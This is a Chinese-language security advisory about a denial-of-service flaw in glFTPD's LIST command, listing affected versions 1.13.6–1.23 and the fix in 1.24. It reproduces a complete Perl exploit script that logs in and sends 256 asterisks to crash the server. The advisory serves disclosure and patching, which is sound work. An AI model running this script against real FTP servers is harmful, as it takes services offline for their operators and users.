首页 -> 安全研究

安全研究

安全漏洞
glFTPD LIST 拒绝服务漏洞

发布日期:2001-08-17
更新日期:2001-08-20

受影响系统:

glFtpD glFtpD 1.23
glFtpD glFtpD 1.22b
glFtpD glFtpD 1.21
glFtpD glFtpD 1.20
glFtpD glFtpD 1.19
glFtpD glFtpD 1.18a
glFtpD glFtpD 1.17.2
glFtpD glFtpD 1.16.9
glFtpD glFtpD 1.13.6
不受影响系统:

glFtpD glFtpD 1.24
描述:

BUGTRAQ ID:3201

发现glFTPD的LIST命令没有对用户提交的数据进行严格的过滤,如果远程攻击者提交过
多的“*”给LIST命令的话,可能导致运行该软件的服务器拒绝服务,只有重新启动才
能恢复正常功能。

<*来源:Jan Wagner (jan.wagner@de.tiscali.com)*>




测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Jan Wagner (jan.wagner@de.tiscali.com)提供了如下测试代码:

#!/usr/bin/perl

use IO::Socket;
use Socket;

print "-= ASGUARD LABS EXPLOIT - glFTPD v1.23i =-\n\n";

if($#ARGV < 2 | $#ARGV > 3) { die "usage: perl gl123DOS.pl <host> <user>
<pass> [port]\n" };
if($#ARGV > 2) { $prt = $ARGV[3] } else { $prt = "21" };

$adr = $ARGV[0];
$usr = $ARGV[1];
$pas = $ARGV[2];
$err = "*" x 256;

$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "Error: can't connect  to $adr:$prt\n";

$remote->autoflush(1);

print $remote "USER $usr\n" and print "1. Sending : USER $usr...\n" or die
"Error: can't send user\n";

print $remote "PASS $pas\n" and print "2. Sending : PASS $pas...\n"  or die
"Error: can't send pass\n";

print $remote "LIST $err/\n" and print "3. Sending : ErrorCode...\n\n"or die
"Error: can't send error code\n";

print "Attack done. press any key to exit\nnote: Attack done doesn't mean
Attack successful\n";
$bla= <STDIN>;
close $remote;



建议:

请升级到最新版本

厂商补丁:

glFtpD 1.24已经解决了这个安全问题,请到厂商的主页下载:
http://www.glftpd.org/glftpd.html


浏览次数:3760
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障